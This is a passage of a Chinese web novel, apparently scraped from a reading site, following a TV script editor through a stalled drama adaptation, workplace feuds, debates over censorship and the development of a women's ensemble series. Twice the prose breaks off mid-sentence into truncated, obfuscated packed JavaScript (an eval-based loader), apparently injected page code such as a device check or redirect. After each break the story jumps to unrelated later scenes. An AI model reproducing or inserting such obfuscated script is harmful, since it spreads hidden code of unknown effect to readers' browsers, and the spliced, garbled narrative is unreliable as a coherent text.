杨树铩羽而归,去公司小楼外的咖啡店买杯喝的,迎面撞见施严。施严透露了从青芽图书传出的消息,李伊梦和武德睡了,草包和她爆吵一架。 武德快50岁了,长得还像张飞,杨树由己度人,觉得李伊梦睡不下去。施严笑她有精神洁癖,不知多少小姑娘想捞资源,会主动去睡武德。武德丑归丑,身上臭归臭,但他是走在路上都有人找他合影的名人,李伊梦睡了武德,必然会往外吹:“我跟他睡过,也就那样。” 杨树哈哈笑,这话还真是李伊梦能说出来的。不过武德是单身主义者,李伊梦也未婚,旁人说不着他们。 草包想成为正式男朋友,但李伊梦哪愿意。草包闹开后,他女朋友去青芽图书找李伊梦麻烦,李伊梦就一句话,她说自己不可能找外地人。女朋友被草包搞定了,三个人的故事还得继续上演,施严的前下属们即时向他描述得绘声绘色。 杨树没跟施严说过开会的事,但架不住施严同时了解她和李伊梦,劝道:“反正不是你写剧本,她想咋说就咋说。武德肯定有办法改好,他总不会自砸招牌吧?再说咱们还有《瓷缘》。” 《大唐银楼》原著作者在连载新小说,但写的是都市背景,看的人少多了,古代小说更受年轻读者追捧。 得知《大唐银楼》被卖了影视版权,很多读者都表达了失望,因为再好的演员都演不出他们心目中的主角,可作者惟利是图,不珍惜自己的心血,任由别人糟蹋。 原著作者跟杨树诉过委屈:“拍成剧了,才能让更多人看到我写的故事,我为什么不能卖?我自己的作品,怎么就不能卖钱了?不卖钱,我怎么生活,怎么去写下一个?” 杨树当时说过,制片人很喜欢《大唐银楼》,不会糟蹋它。可制片人上头还有资方,资方面前还有平台方。 原著作者问了好几次,杨树含蓄地说了几句,原著作者听懂了:“自以为是的人太多了。我不会看的。” 杨树心里堵,影视化才能让一部小说走向更广泛的大众,她理解原著作者,也理解书粉,她自己就是书粉,却只能看着心爱的故事被改得面目全非,什么话都说不上。 丁盼兮购买了专业书籍,全力啃CPA,其中还包括英语测试,杨树拍拍胸,都包在她身上,每天都会跟丁盼兮练上半小时英语会话。 漫画家终于被宣判了,他因制作、贩□□秽物品牟利罪,被法院一审判处有期徒刑3年,该网站的创始人被判处11年。漫画家当庭表示会上诉,但律师对杨树和丁盼兮说得清楚,维持原判可能性极大,丁盼兮一颗心已落定,她不再做噩梦,等将来漫画家出狱,兵来将挡水来土掩。 《大唐银楼》剧本大纲交稿期临近,杨树不时问候大编剧武德,武德永远答复两个字:在写,但点开微博,他的时间排得很满,不是参加综艺节目录制,就是去高校搞个创作谈,杨树有点担心,但从他交出的第一版剧本大纲来看,明显是一气呵成的。 大编剧可能都有点怪癖,杨树让自己安心等待,但距离交稿之日还有3天,她联系不上武德了。 杨树以为武德在闭关赶稿,等了一天半,武德仍没回她一个字,她心生不妙,赶去武德工作室,扑了个空。 武德是长夜影视大老板亲自聘请的,杨树向大老板的太太兼制片人柳艳求救,但柳艳也找不到他,她让杨树稍安勿躁,大编剧拖两天稿很正常。李伊梦却不依不饶:“你是责编,编剧拖稿是你的事,工作室没人,你不会去电视台找吗,他这几天在录节目。” 杨树找去电视台,武德下了节目,跟人谈笑风生,一见到她就躲,被她在男厕所门口堵住了。武德举手讨饶,一脸无奈:“按她那个搞法,改动量不小,我还得琢磨琢磨。” 杨树不客气:“那您当天就该跟她提出。现在拖了进度,她只会揪着我不放。我只能找您了,您走到哪儿我跟到哪儿。” 武德干笑:“果然是第一次做责编,以后你就知道了,编剧哪有不拖稿的。你再给我几天时间。” 《天作之合》和《瓷缘》的编剧都不拖稿,杨树咄咄发问:“几天?” 武德说:“月底,月底怎么样?” 他想争取一个月时间,但李伊梦可没那么好说话,杨树说:“最多十天,不然我还来找您。” 武德跳上车跑了:“那就十天。” 杨树立即向柳艳汇报,然后再跟李伊梦通气,免得她恶人先告状。柳艳也很烦:“我早就听人说,武德拖稿拖疯了,可你们王总非说这种大剧得让大编剧写不可。” 武德不配合工作,杨树胸闷,打开《瓷缘》剧本再看一遍。有总编剧李峻掌舵,剧本写得精彩纷呈,杨树挑不出毛病,但她是文学策划,不挑毛病也不行,柳艳有次特地让她别迷信权威,要对项目负责。 于是每收到5集剧本,杨树都会挖空心思提点意见,跟施严那边汇总再提交。李峻何等老辣,再让编剧交出来的剧本,总能让杨树和施严提上一页多纸的意见,他俩好交差,编剧改起来也方便。 武德再次食言,这次死猪不怕开水烫了:“你是责编,我不为难你,你让你们王总找我吧。” 杨树硬着头皮说了,大老板约出了武德,武德先哭上了,要不是大老板跟他说了几次,他哪儿会接IP改编,吃力不讨好。但朋友的事,他当然放在心上,他交出的剧本大纲什么水平,有目共睹,谁知半路杀出个程咬金,青芽传媒想当话事人,打乱了他的节奏。 按大老板和武德签定的委托创作合同,武德得亲自写,但他说形势逼人,当初是冲着能写大唐、写珠宝业才接的,现在却变成了恋爱主打,他一个老光棍,恋爱戏能写,但不懂年轻人的口味了。要么大老板另觅他人,要么武德带几个徒弟写,他打结构,做分场,徒弟填肉。 当初,大老板预付了一笔定金,武德才交出那份剧本大纲和主要人物小传。定金对于一部剧是小钱,大老板换了他不是不行,但请武德,是冲着他的名气去的,换个不拖稿的普通编剧,质量也不一定有保证。 大老板跟武德约法三章:“这次再拖稿,我在青芽那里就说不过去了。” 武德跟他干杯:“咱俩什么关系?我肯定不让你难做,我不靠谱,我那几个徒弟正是想要作品的时候,他们靠谱得很。” 武德工作室养了几个编剧,都参与进来,杨树总算又能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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主管说爱情是文学艺术的母题之一,不比任何题材低级,《傲慢与偏见》也是恋爱故事,但它反映了当时时代里的经济关系和阶级矛盾,网络小说的问题在于喜欢跟风,扎堆去写相似的时髦元素,老板娘说:“本来就是快餐文化嘛。作者自己没有写传世之作的追求,我们读者也没当成名著看啊。” 主管说:“那拍出来干嘛?” 包法利夫人和老板娘异口同声:“赚钱啊。” 主管说这是乱象,言情小说多是梦幻肥皂泡,但她教书育人一辈子,不想让下一代女孩只关注爱情和浪漫,因为男人并不那么想,久而久之,女人节节败退,男人步步为营。 老板娘惊讶:“不会有这么严重吧?” 主管问:“怎么没有?你们也都是当妈当老师的年纪,你们自己整天看这些,能给下一代多好的教育?你女儿那么小,你就让她抱着平板电脑不离手,看多了就以为世界就是那样的,只会一代不如一代。” 老板娘被批评得有点难为情,包法利夫人嘀咕道:“广电局审查那么严,想表现一点复杂和阴暗面,都会咔嚓啊。” 主管不悦:“别什么都赖广电,他们那种单位,颁发一个文件流程有多长,你们又不是不知道。先问问你们自己,有没有选点值得看值得拍的东西出来。” 易无问主管对审查制度的看法,主管果然如她那一辈人一样,认为存在即合理,学校和家庭很多人不够格给孩子们树立正确的是非观,他们很容易被文娱产品牵着走,完全不管控不行。 杨树摇头:“也太矫枉过正了一点。” 主管问:“那你说,小孩子看到电视上上吊的镜头,跑去模仿丢了命,怪谁?这事新闻报道过。” 姜妤说:“是孩子父母失职。” 主管目光扫过包法利夫人和老板娘:“这就是问题。人生观、道德观、世界观这三观本来是父母教的,但当父母没门槛,很多人自己都是懵懂人,他们教不了孩子。” 已婚三人组都不说话了。杨树说:“但是不能把国民教育寄托在网文和影视剧上吧,那是社会失职,家长无能。凭什么去扼杀创作自由?” 主管认为这个问题无解,会上网看小说的多是青少年以上,但影视剧3岁孩子都能看,如果父母老师素质堪忧,后果可能会很严重。穿越和重生元素为什么不能拍,就在于上头担心孩子们分不清文艺创作和现实,相信轮回,看轻性命,酿成悲剧,审查制度严厉,是国情所致,她说:“你们做好你们在做的事,不要去纠结那些改变不了的事。” 杨树不大赞成主管很多观点,但不纠结是对的,工作让她心安,那就好好工作。到了月底,她又通过了两个IP,想请家里那两口人吃饭,丁盼兮让她省点钱,就在家里做。杨树买了海鲜和牛羊肉,但秦朗又加班到半夜才回家,他在新公司是项目组组长,每天忙疯了。 25. 第 25 章 4月初,《天作之合》在海南杀青,祁宁飞往横店,拍摄公司参投的一部中等制作的戏,演的是男三号,他托助理送来一只名牌包给杨树当礼物,杨树没收。 祁宁特地打来电话,说他没别的意思,就是答谢在横店的时候,杨树帮他理解角色,他受益匪浅。杨树说自己也是边学习边琢磨,让他别客气,祁宁问:“以后有不懂的地方,我还能请教您吗?” 杨树应了:“好啊,我们共同探讨。” 祁宁是长夜影视公司签的新人之一,他和另外几个小生都是《瓷缘》制片人柳艳亲自带,柳艳给他揽了几个小成本剧的工作邀约,几乎都是深情无望的男二号男三号,祁宁演过狮子王,不想再重复,请杨树帮他选个人设有挑战的。 柳艳对祁宁等人接外戏的态度是哪个给的片酬高就接哪个,但祁宁想规划自己。《天作之合》的导演们都很喜欢他,但他们都太忙了,他只得找杨树帮忙看剧本,转账5万块作为酬劳。 杨树仍没收他的钱,她知道公司签的小艺人分成比例很高。祁宁签了7年,他为公司挣的钱,自己只能分到两成,杨树跟他约定:“等你在圈里有名字了,我们再谈合作。” 小成本剧大同小异,杨树在祁宁能接到的有限剧本和角色里,选了让祁宁最有发挥的一部,他拍戏之余,时不时找杨树讨教如何理解新角色。 武德的徒弟们终于交出新的剧本大纲和主要人物小传,杨树和他们再次去青芽图书公司开会。李伊梦对大纲仍不满意,最大的不足在于新任男主角的风头被女主角盖过了,这是危险信号。看这种剧的都是女观众,女主角太能干了,不方便女观众代入,她们不喜欢太有进取心的女人。 武德的徒弟有男有女,女孩说:“可您自己也是女人。” 李伊梦说:“所以我了解女人在想什么。女主角做的事,你们分一些给男主角吧,他光是皇子还不够,还得英明神武,各种点拨提携女主,不然观众看得没劲,演员也不爱演。” 杨树说:“我不赞成削弱女主,抬高男主形象的写法。小说火到可以影视化的程度了,正因为大家喜欢它的核心元素。我们做改编,要尽量尊重原著精髓,给它做加法。” 武德今天没来,李伊梦不装腔作势了,直通通道:“小说和戏剧是两回事,你根本就不懂戏剧,别误导几位编剧老师了。” 杨树怒道:“难道你懂?” 李伊梦笑了:“最起码是我在这个位置上,不是你。” 杨树皱起了眉:“现在我们在谈公事。” 李伊梦自觉占了上风,瞟她一眼:“你跟女主一样,也挺独立的,有用吗,不还只是个小责编?” 所有编剧都看出来两人有私仇,杨树没料到李伊梦公私不分,她也不想顾场合了,揭短谁还不会:“你这种依附别人的人,很光荣吗?” 李伊梦笑语可人:“你男朋友把你甩了,你就嫉妒我男人缘好。” “什么样的男人你都能滚上床,很光彩吗?如果将来这戏前途不好,就因为你太傻×。”杨树拎着包走出会议室,身后,一个编剧说,“请问李总,我们还有哪些地方要修改?” 李伊梦铁青着脸,让编剧把握一个原则,多给男主角找魅力点。武德的徒弟们都盼着写点东西挣点钱,面上很配合。 尽管很难开口,杨树仍打出电话,向制片人柳艳提出辞去《大唐银楼》的责编工作。有的钱她不想挣,也不想把自己的名字署在这样的电视剧里。 毛遂自荐当责编的是杨树,干不下去的也是她,柳艳有点惊讶,让她回公司再说。杨树在园区里晃了几圈,编剧们都出来了,其中一个女孩安慰杨树:“她是真的很过分,但您别往心里去了。我们都知道您是在为我们争取,但她怎么说,我们就怎么写吧。” 另一个男编剧说:“那女的说,她不是存心为难我们,也不干涉我们的创作,毕竟我们才是专业的。但她得为青芽投资的钱负责,为咱们这个戏好。” 编剧们叫车走了,杨树也准备回公司,前助手谢纵施追出来请她喝咖啡。会议室的事,他刚才听人说了,等他下周辞职,会给李伊梦一点颜色看看,为杨树,也为自己。 自杨树离职后,李伊梦掌管的女□□业部更加向数据看齐,每次开选题会,李伊梦上来就问数据,数据不高就不用再聊,看的人少,说明市场价值低,不可能火。 民营出版的行业生态已经变了,数据取代内容质量,成为首要标准。但谢纵施还记得中学时,打着手电筒在被窝里看书的情形,他实在受不了张瑞江和李伊梦,给传统出版社投了简历,被录用了,下个月入职。 出版社开出的薪水不高,有个男同事认为谢纵施这步棋走错了,社会太现实,男人不能太贫寒,以谢纵施的能力,去视频网站做责编,薪水奖金都高不少。谢纵施说自己的心愿就是做书,他妈是新华书店员工,他自幼在书香里长大,从小到大,新学期领到课本,首先就看《语文》和《历史》。 男同事说:“现在生活压力这么大,你不替你老婆孩子想想?” 同时向谢纵施伸出橄榄枝的还有家影视公司,但他选了出版社,他说:“媳妇支持我,我俩的工资养娃也马马虎虎够用。” 回公司路上,杨树心情很好。她还记得当年面试谢纵施,夸他名字特别,谢纵施说那是他妈给他开的小玩笑,源自下雨天鞋总湿的怨念,取其谐音。如今他说在李伊梦麾下太憋屈,纵有大志,难以施展。人挪活,他得挪个地盘,杨树买下的IP,将来都交给他出版。 杨树回到公司,柳艳让助理喊她去一趟。李伊梦向柳艳发过脾气,柳艳对杨树面色不虞:“甲方说你不配合工作,会开了几分钟你就离席了,编剧们也都有意见。” 杨树本不想说李伊梦那些乌七八糟的私事,但从柳艳态度来看,李伊梦没少说她坏话。 如果有人骑在你头上拉屎,你还能讲什么礼节?站得更笔挺,让她拉得更畅快吗?杨树把自己和李伊梦的矛盾一五一十都说了,柳艳讶然,杨树知道李伊梦会诬蔑她吃回扣,轻蔑道:“我不想攻击别人的私德,但两家公司要合作,我觉得有必要让您知道这人的品行,小心为妙。她很善于把别人当成垫脚石,再倒打一耙。” 柳艳表示有数,但杨树知道她不会帮自己出头,坚持辞去《大唐银楼》责编事务。她想把精力放在《瓷缘》上,但当她试着对主管提出转岗去剧本部,主管不悦:“你走了,我更忙不过来。” 主管不放人,杨树就不能在内部转岗,她颇感无奈,微信上,施严发来一个懊恼状的表情符号:“柳总让我当《大唐银楼》的责编了,烦。” 舒纹约杨树在剪辑室见面,有要事找她。导演亲自剪《天作之合》,舒纹协助公司的剪辑师剪现场花絮,中午,柳艳代表大老板去剪辑室看《天作之合》粗剪片段,接到李伊梦的电话。舒纹当时在忙碌,听到了几句,猜出了大概。 舒纹说:“难怪你不收我的礼物了,原来是被青芽的人坑苦了。” 杨树知道舒纹还在示好,但她没心思搞人际关系。十来天后,《大唐银楼》又一版剧本大纲出来了,比起武德交出的第一版,它俗套得让人痛心。 杨树有一种深深的无力感,当责编是自己争取来的,曾经多么雀跃,但一部剧从文本走到播出,是通力合作,从不是一个人就能完成的。硬碰硬过,但人微言轻,又能改变什么呢?李伊梦并不是惟一的减分项。 施严也很烦:“我提过意见,但好像只有这样才能往下走。你有没有觉得,在他们面前,认真敬业就像个笑话?” 杨树对着电脑枯坐,从李伊梦开始,她的进谏之路就被封死了,因为没人肯听她的。从现在起,她要去争取更多机会,拼命攒资历,以后 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明堂影业大老板约见朱青,深谈了一下午。大老板认为目前各家采购的IP多以网络小说为主,一窝蜂地投拍,要警惕这种泛滥。 太泛滥,你做的不一样的东西才会跳出来。明堂影业要发展,也会做些IP剧,赚点快钱,但IP以网络小说为主,题材较为局限,明后年会看到大量雷同的剧,平台未必愿意都吞下,所以公司得未雨绸缪,多关注现实题材。 朱青很赞同:“现在是混沌期,但现实题材不会没人看,我邻居在卫视上找不到他们想看的,就只看央视和地方台了。” 大老板说:“任何行业要壮大,都会经历这么一个时期。图书业已经衰落,电子阅读才是主流,你们行业的黄金时代过去了,你来体验体验新行业,没坏处吧?” 朱青大学毕业就做图书出版,推辞说自己对影视业所知甚少,大老板认为这不是问题,他公司几个制片人和签约导演都懂戏剧,朱青跟着了解了解,很快就能上手。 明堂影业当年崛起,是以创作和制作为核心竞争力,大老板说老传统不能丢,每年得有几部原创作品。他有个三七开的理论:每年花出去的钱,有三成不指望回本。他对朱青的策划部不做盈利要求,全力做原创,创作一些能被时间留下来的经典作品。 这条件很诱人,朱青没有立即答复,有家出版社也来找她,但聊下来发现,对方招揽她是想做IP。她向另一家出版社投了简历,但最后对方选了杨树的前助手谢纵施。谢纵施是党员和硕士,比朱青硬件好,传统出版社很看重这些。 随后,朱青收到明堂影业大老板赠与的一幅字,出自一位书法名家之手,力透纸背的七个字:百战归来再读书。 朱青把这幅字挂在新办公室墙壁上。杨树去她办公室喝茶,两人都觉得,就目前而言,影视远比图书深入人心,对这世界有些话想说,要找个被更多人知晓的方式,等到图书市场回暖那天,再回去做书。 杨树跟朱青分享夏停关于《婚前三十天》那份审片意见,夏停对行业有使命感,希望创作者能多产出启迪世俗的作品,朱青正有此意,她想做一部讲述女性生活现状、心理诉求和人生轨迹的群像剧,主角们的年龄在30岁左右,她自己正是这个年龄段,对它有体悟,而且生活中观察的样本也多。 杨树说起办公室的已婚三人组,这和朱青不谋而合,丧偶式育儿也是她想探讨的话题,但只是之一,她会提及诸多社会话题,都是女性或亲身经历,或分外关心的困扰。 朱青对于影视业是门外汉,想让杨树跳槽来帮她,杨树还想再观望观望,她觉得自己不能每次都因为李伊梦而跳槽,李伊梦伸来长矛拦住去向,她就设法折断,公司还有那么多项目,不可能都是青芽传媒担任出品方吧,但朱青这个选题是她感兴趣的,会一起多碰碰。 26. 第 26 章 两人这次聊完,朱青很快拿出了都市话题剧《三十难立》策划案,她自己做了一个两千来字的框架,请来同龄编剧进行完善,做出2万字的剧本大纲,让杨树帮忙看看。 故事背景设置在一线都市,主角分别是29岁不婚,31岁已婚,28岁渴婚,讲述她们从依附到觉醒的过程。杨树看个开头就被吸引了,但国内这几年很少见到群像剧,她停下来问:“多主角是为了尽量多角度展现吗?” 朱青本来想,角色未必都生活在都市,但基于现实考量,做了妥协。几大卫视和视频网站都在大城市,如果故事背景放在三四线城市,上星可能性小,看的人少,但这个故事有价值观输出,她希望能做出影响力,被人看到。还有另一个主要原因,愿意看看反映社会现实,挖掘人性的多半还是都市中人。 当然,后者也是个概率问题,独立思考是很珍贵的能力,有的受过高等教育的人也惯于人云亦云。传达观点不是一夕之功,朱青放弃全方位辐射的想法,先抓都市市场。 在杨树看来,《三十难立》是她看过最好的都市故事之一,它抓住了情感共鸣点,也尽可能表达社会的复杂和多样性,人物写得很真实,是办公室已婚三人组的缩影,但更有代表性,很多对女性的偏见和敌视,她的亲朋和陈樟也说过。尤其是陈樟,她曾经对他心存留恋,搪塞自己,但如今想来,句句诛心。 朱青拿出的剧本大纲很完备,杨树能提的建议很少,但《三十难立》在明堂影业悬而未决,因为它的戏剧核心是不破不立。 编剧们写得痛快,大老板夸它优点明显到发光,缺点也明显:叙事失了分寸,过于尖锐,超出现实生活,他让朱青往回收一些。 杨树很惊讶,把大纲重新快速看了一遍,故事主线是女人经历的诱惑和陷阱,遭到的愚弄和失望,她不明白,明明是女性群体在生活里煎熬着发出来的声音,哪里尖锐了? 伤害不曾加诸于身,也就无从体会。朱青很烦,明堂影业大老板在男性里面是优秀个体,良知和理智能让他听取女性声音,但不能指望他能脱离性别局限,对女人真正同仇敌忾。 朱青拿出诸多真实案例证明《三十难立》观点并不过激,跟大老板一席长谈,大老板首肯,让她和编剧往下走走看,但公司管发行的副总涂芊闻风而动:“写成这样,怎么过审?” 大老板的态度一直是“先写出来,再想办法过审”,涂芊不依:“朋友公司也做了个30岁女人的戏,女主是30岁的中层,跟公司实习生谈恋爱,年纪相差9岁的姐弟恋,写了5集就被平台订了,观众只爱看这种30岁女人,咱们就别说什么大实话了。” 大老板笑一声,对朱青说:“我们做戏,不要想着去讨观众喜欢。征服他们,才是创作者该拿出的态度。” 但凡一部作品能爆,它和之前别的作品长得都不太一样,但涂芊撒娇似的:“钱总,卖不掉我可就找你哭了。” 涂芊和另外几个副总都有公司股权,朱青本来只向大老板汇报,但涂芊担心砸在手上,大老板给她面子,让朱青约上编剧,跟涂芊开个会,好好阐述《三十难立》。 会议上,涂芊提的意见很具体,这几年大女主概念深得人心,做女性群像剧,不符合当今观众的观看习惯,平台也会嫌主角太多,故事不紧凑。 编剧说:“后宫剧女的那么多,观众还不是爱看?” 涂芊说:“古装剧在国内有优势,全年龄段都能看,当代都市背景受众少得多,咱们这戏主线不是谈恋爱,更吃亏。20岁在校大学生不看,50岁大妈也不看,但古装剧她们都能看。” 朱青解释,之所以做成群像,把女性面临的困境分摊到三个主角身上,是避免矛盾冲突太集中,所有极致问题都堆到典型人物身上就失真了,现实题材最忌讳失真。 涂芊承认她言之有理,但《三十难立》写得太深了,看得累。大众看剧是为了乐呵乐呵,有深度的影视作品,每年有那么两三部就够了,其他时间看看综艺节目,追追轻松的剧,生活不容易,只想补充甜味剂。 涂芊助理是男人,附和说他几任女朋友都是这样,约会时选电影,稍微有点内涵的就不看,理由是害怕太现实。他女朋友连看网文都只看甜甜甜,并不想看创作者把现实层层剖开,太沉重,也太累。 朱青在青芽图书公司时,就听无数人说过只想看点傻乐的笑一下,但她既然入行做剧,自然想在剧集的娱乐属性和金融属性之外,做点有社会价值和人文价值的东西,涂芊哎哟一声:“我的妹妹呀,我们出品方当然想做口碑剧和精品剧,但平台想要商业化的东西好招商,还想要收视率和话题度,不兼容啊。” 供需不匹配已成为影视业主要矛盾之一,朱青说:“我们试了再说。” 涂芊甩出更实际的难题,《三十难立》尺度太大,对公司有风险。朱青哑然,既不是退出黄金档多年的涉案剧,也不是几乎销声匿迹的反腐剧,《三十难立》尺度能大到哪里去? 涂芊解释尺度是指导向,二胎时代来临,宣传口径是让女人回归家庭,《三十难立》反其道行之,质疑了婚姻制度,这很危险。 朱青说:“回归家庭也不能只有女人回归,男人也是家庭的一员。” 涂芊笑了:“你还单身,不知家里家外忙有多操心,我年轻时候,不晓得多想待在家里当主妇,每天带带孩子养养花,活得轻轻松松漂漂亮亮。现在国家给女人当家庭主妇的权利,是在帮女人减压,我要不是因为孩子都长大了,我也响应号召了。” 朱青板了脸:“往前迈一步才叫权利,退回家门里,是你的私人决定而已,没必要在电视上宣传。” 涂芊笑容僵住,她助理脸上带着笑,但语气有点重:“涂总是就事论事,朱老师也别太上纲上线了。” 朱青看着他,不说话,涂芊呵呵笑:“没事,都是开玩笑,继续讨论吧。” 涂芊助理是个年轻男人,心里仍不痛快,干笑道:“朱老师一看就强势,我以后知道了,保证不乱说话。” 朱青问:“强势不行吗?” 助理有点下不了台,编剧赶紧换话题:“涂总,一百多年前,女人还裹小脚,今天能上班挣钱,是一代代争取来的,可能很多女人是想偷偷懒,但很多女人不想,因为偷懒未必偷得成。时代变了,我们做东西多创新吧。” 涂芊推心置腹:“你们搞创作的,都希望能自在表达观点,但是看电影看剧,都是消遣,观众不喜欢听说教。我们钱总可以不在这个戏上赚钱,但我管发行,我的首要任务是把它卖出去,数据好看,钱收得回来。公司卖剧的主力是我,我跟各家台里的人都打过交道,那帮人有多难伺候,你们以后就知道了。” 涂芊助理补充道:“也不光是导向问题,主角们都不是爽文设置,有点危险。观众不爱看真人。” 朱青说:“但你不能代表所有观众,尤其是女观众。” 场面一时僵住,朱青的助手小五拎起茶壶给众人倒茶,笑嘻嘻:“当心烫。”小五是从青芽图书跟来的,深知朱青为人狷介,难堪的是别人,朱青可没感觉。 朱青是大老板钱一诺亲自点的将,涂芊敬她三分,叫苦道:“现在搞创作,真的不能不顾上面的导向,你们也想做的戏顺利播出来吧,求你们了,让一步行吗?” 小五赶紧问:“涂总有什么建议吗?” 已婚少妇戏份最重,涂芊建议把渴婚女提升为第一主角,符合导向,还能多写几段恋爱戏,女人戏哪能不写恋爱? 朱青说:“最后让她找到良人,走向婚姻殿堂吗?那不是我们这个戏想表达的。” 既然她油盐不进,涂芊丢出最实际的困难:“三个女人的戏份比较平均,我们不好找演员。一部戏,总得有个有名的吧,不然平台不买。有名的谁肯给另外两个抬轿?再说了,30岁左右的青衣不好找,花旦基本都演不像,人还难搞。” 朱青把涂芊噎得结结实实:“那么多烂剧本都找到演员了,那么多烂剧都卖出去了,播出了。涂总,我负责的是内容。” 在涂芊发作之前,小五赔着笑脸,把朱青拽走。编剧们很尴尬,也连忙撤了。涂芊去找大老板抱怨,但大老板还是那句话:“先写出来。写得好,平台是会认的。” 编剧却信心不足,她们在别家写剧本,老板也让她们大胆去写,但平台一提意见,老板就妥协了,编剧只能一次次颠覆性大改,因为签的委托创作协议永远有一条:“修改到甲方满意为止。” 试错成本都压在编剧身上,对她们精神消耗极大。在征得朱青同意后,编剧们把剧本大纲递去相熟的公司问问路,两家大公司都在一定程度上肯定《三十难立》,但它确实不是安全牌,即使不靠它赚钱,也不想赔钱。 其中一家让编剧先写出前5集,他们再整体评估一下,另一家建议先写成小说,花点钱做营销,把它炒成热门IP,可能就有平台青睐了。 这说明涂芊并非一家之言,她考虑的都是实际困难,蒙头推进,可能是做无用功。朱青很苦闷,助手小五让她放弃,去做点讨巧好卖的剧,朱青不愿意。她在青芽图书公司就意识到,从大局来看,如今是非常微妙的角力时刻,文娱产品的规则还没定下来,各方都在试探,哪怕不迎合,不参与,不表态,都等于把制定未来规则的权利拱手让人。 谁的声音最大,资本就倾向谁。如果遇到困难就退却,把文娱产品只当成赚钱的生意去做,久而久之,就很难看到想看的小说、想看的影视作品了,不能被别人的声音代替自己的意志,朱青跟小五说:“此路不通,我们就努力去把它走通。” 涂芊不能代表观众,也不能代表平台,凭什么断言《三十难立》不能做?朱青想到杨树提及的卫视采销部副主任夏停。如果连夏停都说走不通,就把《三十难立》搁置下来,去做新项目。这个主题不过时,谁知道哪天市场风向变了,又能做了。 杨树能打听到夏停的私人邮箱,但素不相识,夏停可能不会看,杨树打上《瓷缘》总编剧李峻的主意,由李峻递交,大纲才会被善待。 杨树斟酌措辞,先在文档里打了草稿,再点开李峻的微信头像,请他给自己和同事捣鼓的剧本大纲把把关,李峻让她发去电子邮箱,这两天看完就和她交流。 下班回家,秦朗破天荒在家,他刚忙完一个项目,这几天终于能按时下班了,歪在沙发上看电影。丁盼兮在做饭,杨树聊起《三十难立》大致故事,丁盼兮匪夷所思:“这都不能写?” 剧本大纲里有个细节,已婚女人生了孩子再没睡过完整的觉,两三个小时就被孩子吵起来喂奶,她抱怨丈夫不管事,不婚女让她提要求,已婚女人说提了也白搭,丈夫说他不知道把奶水热到什么程度才对,而且孩子那么小一点点,他不会抱,怕摔着。 已婚女人的婆婆退休返聘,周末才来替个手。已婚女人请她帮着教丈夫,但婆婆说男人都这样,叫她学会包容,还建议她注意方式方法,男人都吃软不吃硬,平时得多撒撒娇,哄着他干活。丁盼兮听得火大,这是曾经的她,但回想起来,多么卑微,何至于这样卑微。 秦朗到厨房拿瓶可乐,听两人聊天,不时插话,从小到大,他都见过戏里讲述的那三个代表性的女人。杨树刮目相看,女人戏他居然也听得下去,但秦朗不认为影视剧有很明确的男人戏和女人戏,他偏爱的罪案题材,很多女同事也喜欢看。当年《金枝欲孽》流行时,他陪他妈看了几集,觉得很好看,只要是好故事,他都看。 杨树终于等到《瓷缘》总编剧李峻的电话,李峻对《三十难立》给予了高度评价,它是很成熟的大纲,没什么硬伤,话题剧最不怕的就是争议,越犀利越精彩,没人议论才是出大问题了,他主动问:“要不要我拿给别家试试?” 杨树问:“您能不能帮我发给夏停夏主任?要是平台肯买,公司就肯做了。” 李峻一口答应,还让她别灰心,这几年政策收紧,行业形势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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编剧说:“40岁的话,事业和家庭一碗水端不平,我想主写职场生活,家庭生活为辅。” 夏停直言自己虽然是40岁年龄档,但对40岁故事思索得不多,她让众人畅所欲言,一起碰出大致想法,她的助理问:“咱们还做群像吗?” 夏停说:“三个女人一台戏,怎么不能做?” 编剧叹道:“公司的发行担心不好找演员。” 夏停让她放心,创作者只管创作,其余的事自有人去操心。在乎地位和身价的演员是不少,但也有些演员更重视内容,剧本写得好,一切就都好说,友情出演个出彩的配角,他们也挺乐意。 影视公司担心演员不演,但平台在演员面前是强势方,再大牌的演员,也希望自己出演的作品在一线卫视顺利播出。朱青定了心:“群像有利于全面观点表达,主叙事视角放在第一主角身上,其余两人也各有各的难题。” 夏停很同意:“观点互为补充,分散了说,更自然些。特别尖锐的部分,由第二主角、第三主角去承担。” 编剧笑着说:“我以前写戏,总用反派说真话,既不触线,观众也不反感,毕竟是反派嘛。” 《三十难立》就此被改为《不惑之年》,夏停让众人想想,究竟是三个女人,还是两女一男。生而为人,各有各的难处和心酸,男人不用拿重笔来写,但可以有所体现。 两个编剧思忖了一会儿,更倾向写三个女人,花点笔墨给她们的情感对象,就能表达男人的不易了。 杨树说:“做人都很难,但男人的难跟女人的难不能相提并论。” 夏停的助理说:“男人经济实力不行,没钱没地位,被人嘲笑没出息,还得养家,活得也挺惨。” 编剧说:“经济实力不行的女人,更好不到哪里去。” 夏停顺着这句话发问:“你们的第一女主是个怎样的形象,脑子里有想法吗?” 编剧最先说:“都市的中产阶级,外表光鲜,但腹背受敌。” 夏停问:“不那么精致,就不配当女主角吗?生活里很多女性,都称不上光鲜亮丽,比如工人,医生,技术员,科学家和一些领域的专业人士,但社会少不了她们。” 朱青懂得她的意思,现实题材要基于真实空间、真实的人物感去展开创作,光鲜亮丽的女人是少数,对于目标观众来说,主角太时尚,容易产生距离感,用业内的话形容,这叫悬浮,跟生活无关,漂浮在半空中。 既然想把观点传递给大众,人物就得取最大公约数,朴实才可能实现精准,朱青说:“我们想做专业人士,找个具体的行业把她立起来。” 编剧说:“哪一行我们再商量。” 夏停沉思片刻:“那我们再想想看,一个首尾难顾,四面起火的女人,她会是怎样的性格?” 杨树蓦然想起舒纹做后期剪辑的那部年代剧,宅斗故事很容易写得苦情,但编剧方雯把它写得非常活泛,甚至不乏看似逗趣的桥段,格外有种荒诞感,杨树看得出来,编剧是在批判质疑那个时代的狭隘文化。她脱口而出:“能不能是喜剧人格?” 众人都没做声,夏停停顿了一下,表达了赞许:“中年女滑头,在市场上倒是罕见。这个人设有意思。” 